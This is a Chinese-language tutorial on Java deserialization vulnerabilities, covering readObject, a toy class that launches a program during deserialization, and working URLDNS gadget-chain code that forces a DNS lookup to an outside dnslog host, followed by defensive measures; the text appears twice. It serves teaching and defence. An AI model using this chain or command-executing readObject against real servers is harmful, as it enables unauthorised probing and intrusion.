java反序列化基础
字数 1201 2025-08-11 08:35:44

Java反序列化基础与漏洞分析

一、序列化与反序列化基础

1. 核心概念

序列化与反序列化本质上是方便以流的形式在网络上传输对象,或更持久化地保存对象。当服务端没有严格限制用户输入时,反序列化过程可能执行用户提交的恶意代码。

2. 关键接口与类

Serializable接口

  • 只是一个标记接口(空接口)
  • 只有实现Serializable接口的类才能被序列化/反序列化
  • 静态成员变量和transient标识的成员变量不参与序列化

ObjectOutputStream类

  • 用于将对象序列化后写入输出流
  • 能将Java类、数组、基本数据类型等转换为可输出的字节

ObjectInputStream类

  • 用于读取序列化对象
  • 可以从输入流中读取对象并反序列化为Java对象

3. 核心方法

writeObject()

  • 序列化方法,将对象写入输出流
  • 自动将对象序列化并写入到输出流中

readObject()

  • 反序列化方法,从输入流中读取对象
  • 将序列化数据转换为相应的Java对象

二、反序列化漏洞原理

1. 漏洞产生条件

  • 类重写了writeObject或readObject方法
  • Java会调用重写的方法执行其中的代码
  • 如果方法中包含恶意代码(如命令执行),就会造成漏洞

2. 简单示例

class User implements Serializable {
    private void readObject(ObjectInputStream oos) throws IOException, ClassNotFoundException {
        oos.defaultReadObject();  // 执行默认反序列化
        Runtime.getRuntime().exec("calc");  // 恶意代码
    }
}

当反序列化此类时,会执行计算器程序。

3. 实际攻击限制

  • 开发人员通常不会在代码中留下明显危险的readObject方法
  • 无源码情况下难以知道具体类名
  • 服务端通常只反序列化自己的类

三、反序列化攻击链构成

1. 攻击链三要素

  1. 入口类

    • 重写了readObject方法
    • 可被反序列化
    • 最好是JDK自带类(如HashMap)
  2. 调用链

    • 一个类的方法调用另一个类的同名同类型方法
  3. 执行类

    • 能够命令执行或远程写文件的类

2. URLDNS链分析

特点

  • 使用JDK原生类
  • 无JDK版本限制
  • 适合新手学习
  • 仅触发DNS解析(用于漏洞探测)

攻击链组成

HashMap → URL

调用流程

HashMap.readObject() 
    → hash() 
    → key.hashCode() 
    → URL.hashCode() 
    → handler.hashCode() 
    → getHostAddress()

完整攻击代码

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
        URL url = new URL("http://malicious.dnslog.cn");
        
        // 通过反射修改hashCode值,避免put时触发DNS
        Class c = url.getClass();
        Field hashCodeField = c.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1234);
        
        hashMap.put(url, 1);
        
        // 改回hashCode为-1,使反序列化时触发DNS
        hashCodeField.set(url, -1);
        
        serialize(hashMap);  // 序列化
        unserialize("payload.bin");  // 反序列化
    }
}

关键点

  1. 使用反射修改URL的hashCode字段:

    • put前设为非-1值(避免立即触发DNS)
    • put后改回-1(使反序列化时触发DNS)
  2. 序列化时不会触发DNS,反序列化时才会触发

四、防御措施

  1. 输入验证:严格校验反序列化数据来源
  2. 使用白名单:限制可反序列化的类
  3. 安全配置:使用SecurityManager限制敏感操作
  4. 替代方案:考虑使用JSON等更安全的序列化格式
  5. 更新组件:及时修复已知漏洞的第三方库

五、总结

Java反序列化漏洞利用需要:

  1. 找到合适的入口类(如HashMap)
  2. 构造完整的调用链
  3. 最终到达执行恶意代码的点

URLDNS链是初学者理解反序列化漏洞的良好起点,它展示了如何利用JDK原生类构造攻击链,并通过反射技巧控制触发时机。实际攻击中,还需要研究更复杂的Gadget链来实现命令执行等更高危的操作。

Java反序列化基础与漏洞分析 一、序列化与反序列化基础 1. 核心概念 序列化与反序列化本质上是方便以流的形式在网络上传输对象,或更持久化地保存对象。当服务端没有严格限制用户输入时,反序列化过程可能执行用户提交的恶意代码。 2. 关键接口与类 Serializable接口 只是一个标记接口(空接口) 只有实现Serializable接口的类才能被序列化/反序列化 静态成员变量和transient标识的成员变量不参与序列化 ObjectOutputStream类 用于将对象序列化后写入输出流 能将Java类、数组、基本数据类型等转换为可输出的字节 ObjectInputStream类 用于读取序列化对象 可以从输入流中读取对象并反序列化为Java对象 3. 核心方法 writeObject() 序列化方法,将对象写入输出流 自动将对象序列化并写入到输出流中 readObject() 反序列化方法,从输入流中读取对象 将序列化数据转换为相应的Java对象 二、反序列化漏洞原理 1. 漏洞产生条件 类重写了writeObject或readObject方法 Java会调用重写的方法执行其中的代码 如果方法中包含恶意代码(如命令执行),就会造成漏洞 2. 简单示例 当反序列化此类时,会执行计算器程序。 3. 实际攻击限制 开发人员通常不会在代码中留下明显危险的readObject方法 无源码情况下难以知道具体类名 服务端通常只反序列化自己的类 三、反序列化攻击链构成 1. 攻击链三要素 入口类 : 重写了readObject方法 可被反序列化 最好是JDK自带类(如HashMap) 调用链 : 一个类的方法调用另一个类的同名同类型方法 执行类 : 能够命令执行或远程写文件的类 2. URLDNS链分析 特点 使用JDK原生类 无JDK版本限制 适合新手学习 仅触发DNS解析(用于漏洞探测) 攻击链组成 HashMap → URL 调用流程 完整攻击代码 关键点 使用反射修改URL的hashCode字段: put前设为非-1值(避免立即触发DNS) put后改回-1(使反序列化时触发DNS) 序列化时不会触发DNS,反序列化时才会触发 四、防御措施 输入验证:严格校验反序列化数据来源 使用白名单:限制可反序列化的类 安全配置:使用SecurityManager限制敏感操作 替代方案:考虑使用JSON等更安全的序列化格式 更新组件:及时修复已知漏洞的第三方库 五、总结 Java反序列化漏洞利用需要: 找到合适的入口类(如HashMap) 构造完整的调用链 最终到达执行恶意代码的点 URLDNS链是初学者理解反序列化漏洞的良好起点,它展示了如何利用JDK原生类构造攻击链,并通过反射技巧控制触发时机。实际攻击中,还需要研究更复杂的Gadget链来实现命令执行等更高危的操作。